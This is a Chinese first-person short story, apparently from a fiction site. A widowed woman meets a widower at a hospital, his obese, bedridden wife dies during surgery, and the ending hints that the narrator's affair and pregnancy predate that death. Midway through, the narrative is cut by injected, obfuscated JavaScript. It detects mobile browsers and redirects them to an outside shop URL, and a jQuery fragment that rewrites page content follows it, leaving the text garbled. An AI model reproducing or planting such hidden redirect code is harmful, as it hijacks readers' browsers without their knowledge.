今天是我的婚礼，我叫田晓燕，今年三十七岁——这个年龄，也就没有什么好隐瞒的了。这是我第二次结婚。
所以我一开始对再办一场婚礼这件事，还有点不太好意思呢。多亏我男人说服了我，他就一句话，不想我受委屈。我真感谢他有这份心，也算是下半生有靠了。
他叫卢明，今年四十二岁，我俩都是二婚，都是丧偶。我们是在医院认识的。
我的丈夫早几年去世了，认识他的那次，正值我妈要做个小手术，我去陪床，旁边的病床上就是他老婆，他每天衣冠楚楚过来探病，像个跑销售或者卖保险的，所以给我的印象很深。
他确实是个卖保险的。后来他才告诉我他当时有多辛苦：每天医院、公司、家三点跑，哪边都放心不下。他没办法陪床，每晚要开一个钟头的车回郊区的家，儿子还在家里等他。
他每天都会为他的老婆擦身，雷打不动，我就没见过比他更体贴讲究的男的，到医院的第一件事情，放下公文包，脱下西装外套，顺便解袖扣，工工整整折到手肘，然后就拿上面盆去水房打水，动作麻利的很。只要我们在场，总会主动提出顺道帮我们带一个暖瓶的。等他兑好热水，端着水盆和手巾走到床边，还要先冲我们礼貌地笑笑，然后再拉上隐私帘。
我总是也还他一个笑容——那就是我和他最初的短暂的对视。他在这个年纪算是五官周正的，身高有一米七五，估计年轻的时候也算的上是个帅哥——当然了，我那个时候什么想法都没有。
刘莉，是他老婆的名字。他来的第三天晚上，白天他不在的时候，我们两张床第一次聊起闲天，彼此就都认识了。刘莉脾气很好，果篮里的苹果，还送了我和我妈两个，我那时啃着苹果，颇有些食不知味。
隐私帘是蓝色的，将天花板上的白炽灯切成两半，看不见那里面的场景，不过能看见帘子最下面，卢明的黑皮鞋绕着床边打转，刘莉睡在床上的身影就像一座小山。传来洗毛巾、拧毛巾的水声，还有床板不堪重负的吱嘎声，卢明时不时说：“翻身。”
“头抬一下。”
“别动了。”
这种简单的指示，他的声音很温柔。过了一会，水声听不见了，被细细簌簌的穿衣声取代。给刘莉穿衣服可也是大工程，所需时间不比擦身少。等到终于都结束了，我听见他在刘莉脸上“啵”了一下，那声音其实并不大，只是刚好被我给听见了，然后他很满意地称赞了一声：“乖。”
我倒不是别的什么……一个丧偶的女人旁观了这样温馨的场景，羡慕是自然而然的。刘莉她……真是有福气啊！
何况她那么肥。
和刘莉比起来，我都算苗条的。160，80公斤，刘莉看起来给我差不多高，我猜她至少有120。在刘莉面前，我头一次感到了一些瘦子的优越感。那个苹果只吃了一半就丢掉了。
私下里，我妈凑到我耳边，我还道是什么：“你注意点。”
我一愣。注意什么？难道是我看卢明的目光太明显了？
我妈清瘦了一辈子，奈何我像我爸。掐起我胳膊上的肥肉，低声说：“别肥成刘莉那样！你看那一身的病！”
我愤愤不平，忍住了没有呛回去。
她倒是瘦，也不看看现在是谁在住院？我可健康的很！
下午聊天时，刘莉对自己的情况倒很坦然。她确实是胖，为了收她住院，两张特护病床拼到一起才装下她。她的病说来很简单，却也很复杂，她瘫痪很多年了，又胖，各种并发症都有，为什么还能那么乐观呢？——可能是因为有一个好老公吧。
“瘦过啊，瘦过的。”她说，肯定不止一万次其他人给她的建议都是减肥，我妈也不例外，作为陌生人来说可能有点唐突了，但她也没有生气，都说了，她脾气很好。
“我啊，没生小孩之前，才42公斤呢！”
我吓一跳。那么瘦？吹牛的吧！我那个体重的时候，估计还在初中……
后来我看到了卢明和她的结婚照，证实了这件事。
刘莉其实五官很漂亮，因为是美人的坯子，所以更让人感到遗憾。她的身体大的惊人，松软的身体像是奶油一样流淌下来，又白，脸相比于身体来说是瘦的，但也只是相对而言。脖子与脸盘之间几乎没有衔接，肉脸看不见骨骼，下巴竟然还能看出来，在一堆肉上虚浮着，显得有些诡异。
为了跟我们说话，她的眼睛使劲朝右上角觑着，看上去竟有几分俏皮，像个故意搞怪的年画娃娃。
“姑娘，听姨的，还是得减啊！”我妈恨铁不成钢一样，“姨敢打包票，你瘦下来绝对是个大美女！”
我在一边陪笑。
“姨是有经验的人！生孩子，多少女人不都是那么吹起来的吗？难减，但也不是没办法，只要管住嘴，迈……”
后两个字被她硬生生吞进肚里，差点一口气没上来就是了。
那句话我都听过多少次了。管住嘴，迈开腿呗。
可是刘莉的腿自十年前的车祸之后，再也迈不开了。
突然的冷场，刘莉如何不知，可她只是笑笑，转开话头：“谢谢姨，还有晓燕，我桌子上有果篮儿，你们不要客气，自己拿着吃啊。”
我讷讷拿了两个苹果，朝刘莉道谢，这件事情就这么揭过去了。
我妈那边却还不算完，估计是想找补一下，所以提起卢明，这两天她都看在眼里，私下里也有几分感慨：“我看啊，你那是幸福肥！这年头的男的，做个家务都推三阻四，更别说帮你忙前忙后的……从哪找的那么好的老公啊？”
我妈或许只是为了恭维，而我……是真的想知道！朝刘莉看去。
提起卢明，刘莉的眼里几乎流出蜜来，嘴上只是克制地笑笑：“我们从小一起长大的。”
“原来是青梅竹马呀！”
刘莉幸福地笑而不语。
“嗯，他对我还不错。”
“何止是不错！”我妈摆手，“我看你卧床养病这么多年，身上干干净净，褥疮都没长过吧？我可见过比你时间短的，老公照顾得那叫一个糙，翻来覆去地长褥疮，嚯，身上那味儿！”
她表情生动，皱着鼻子的样子把刘莉逗笑了。
有些人是这样的，被提到自己的幸福，就会不好意思，努力让其他人也有参与感。刘莉就是那种人，急着把话头抛出去。
“也就那样吧。——晓燕老公呢？”
“死了。”我顺嘴答道。
这个答案每次出现，都不由得带来气氛的变化。
刘莉惊诧噤声，不确定我是说真的还是气话。
我心平气和，怕她误会什么，认真道：“他生前对我也挺好的。”
我是从来不往回看的人，提起我的老公胡一亮，不管他生前多么混账，在他身后说起他，我还是处处维护。
我是相信冥冥之中那些事的，或许就是他在默默保佑着我，我后面才能找到卢明那么好的男人。
听我提起亡夫，不仅是刘莉，一旁的我妈神情也有点讷讷的，我不由得多看了她一眼。
虽然说起胡一亮在我这里已经翻篇儿了，但是这并不代表我喜欢在一个刚刚认识的人面前提起这件事。还不是因为她！刺探刘莉的私隐，所以我也得拿一部分秘密去换。
随便聊聊就踩到雷区，刘莉看起来十分愧疚，一副欲言又止的样子。
我先摆摆手：“没事儿。”
她着实不用感到愧疚什么的，她有一个好老公是很幸福没错……但那小小的幸福和她那坎坷的一生相比，又算的了什么呢？
卢明就像是上天给她的一点点小甜头。她可真苦啊！一起住院那几天，因为太胖血管不好找，她每天都要被扎上好几个针眼儿，每天夜里，我听见她难受地翻身，叹气，已经尽量把动作放轻了，可承受着她的床可不答应，发出的响声无法忽视。我妈被扰了清梦，可不管白天的交情，当下也不给面子，发出不满的啧啧声。
那边听见了，声音马上停了。可是不过一会，又继续下去，病痛是不给人静待的机会的。
刘莉其实脸皮很薄，本来是三人病房，因为她拼床的缘故，一个房间就她和我妈两个人，哦，还有我。想到夜里那些搅扰，我妈对刘莉有所不满，渐渐不主动找她聊天儿了，刘莉感觉到了，却也不提，装作不知道。我在她们中间，谁也碍不着我，每当我心平气和地跟刘莉聊天，她立马露出非常感激的神情。
对于她那样的病人而言，日子就这样一天天的熬着。
而她终于还是没熬过，死在了手术台上。
死因非常不体面。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782284|145797||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
术前要求禁食禁水，她偷吃了一碗面，谁也没告诉，连卢明也不知道。刚开始打上麻醉不久，气管放松，胃里的东西泛了出来，她就在手术台被呕吐物呛死了。
“怎么就是管不住嘴呢……我还不相信她长那么胖，果然是有原因的……”我妈想起来至今还絮絮叨叨。她节食了大概有一辈子。
我冷笑，如何不明白她含沙射影，是希望我引以为戒。那个时候，我已经和卢明开始交往了。
她不知从哪里听来，估计是她那些跳广场舞的小姐妹吧——觉得卢明和我在一起，只是因为我胖而已。听说世上有那种奇怪的男的，专门喜欢肥胖的女人……可看那刘莉肥的都没型了！他那么多年不离不弃，比起相信一个忠贞的神话，三姑六婆更愿意猜测是某种奇特的性/癖使然。
据说以他的条件，曾经有个头婚的长相周正的年轻姑娘要和他好，他都没同意。怎么落到我这个二婚头上？
我年纪大，家里条件一般，长相也平平，身材更是……这些条件封锁了我在婚姻市场上的行情。倒推回去，卢明图我胖，倒好像是唯一的解释。
我妈不敢明着问，旁敲侧击，我当然要反击回去。
“哎哟哟，怪不得别人说，丈母娘看女婿，哪哪都满意，你也觉得他条件好，我高攀了是吧？”
我妈没有吭声。好像知道我要说什么。
“刘莉有那个福气，是她家里父母给她积了德！我没那个条件，好不容易找到个好男人，就算只是因为我胖，那也是我自己挣出来的！别人管不着！”
我话里自暴自弃，还要拉我妈和我爸老两口下水。
当年我就是听了他们的话，嫁给了胡一亮，同样是青梅竹马，再看看人家的门当户对呢？轮到她现在来埋汰我？
我语气冲，虽然是在撒气，心里也委屈的很，说到后面，不免哽咽。
“唉，你别哭啊，妈错了，妈不是那个意思……”她低声下气，给我道歉，我用手三下两下抹去眼泪，湿润的脸颊上像洒了一层盐，绷得紧紧的。
我今年三十七岁，人到了这个年纪，再想谈婚论嫁，不谈条件，是不可能的。
我家境普通，自觉比不过刘莉，外貌也比不上她漂亮，唯一的长处，除了身体健康，还有……比她瘦一点儿。
不对，如果我妈的猜测是真的，最后一点在卢明那里，反而成了缺点。
……我不得不承认，她的怀疑是有可能的。但当着她的面，我选择打碎牙齿咽进肚里。
我必须得承认，我是个要强的人。第一次婚姻已经失败了，卢明这种明眼人都知道打着灯笼都难觅的好男人，即使有三两疑点，我也绝不会放过！
刘莉去世后三个月，我和卢明的婚礼即将举行。
我妈也可以放下她的担心——我把自己塞进了M号的婚纱里。
我瘦了快三十公斤，那些说卢明图我胖的声音可以歇歇了。另一种声音则是觉得婚期太赶——可是我们等不了了。
镜子中，我身穿婚纱，全身上下露出的皮肤都涂得雪白雪白的，叫我感到陌生，我又想起了刘莉。这是我见过我自己最漂亮的样子，比年轻时还要好，瘦了真好，我成年后从来没这么瘦过。我也是第一次发现，我的眼睛原来是清秀的内双，虽然那大小被厚重的假睫毛一压，依然有点捉襟见肘。
“晓燕，你真美。”卢明适时出现在我背后，目光炽热地落在镜子中的我的身上。我的心里获得了极大的满足，只可惜我妈不在边上见证这一甜蜜时刻。
他的手从身后环抱过来，若有似无地落在我的小腹周围，我吓了一跳，赶紧把他的手拍开。
他一愣，随即释然地微笑。
“怕什么，晓燕。”他道，我没有回答，真怕这时有人进来，听见他说的话。
他的表情十分奇异，充满狂热，双手重新按上我微隆的小腹，一层又一层白纱隐匿着这个甜美的秘密。
只有我俩知道，这里面揣着一个娃娃。
他宠溺的笑容让我对未来充满着期待。
我今年三十七岁，说起来怪不好意思的，这是我第二次结婚，却是我第一次怀孕。
我们的婚礼在相识一年后，我孕十五周，再晚只怕显怀了。
是的——刘莉死于三个月前。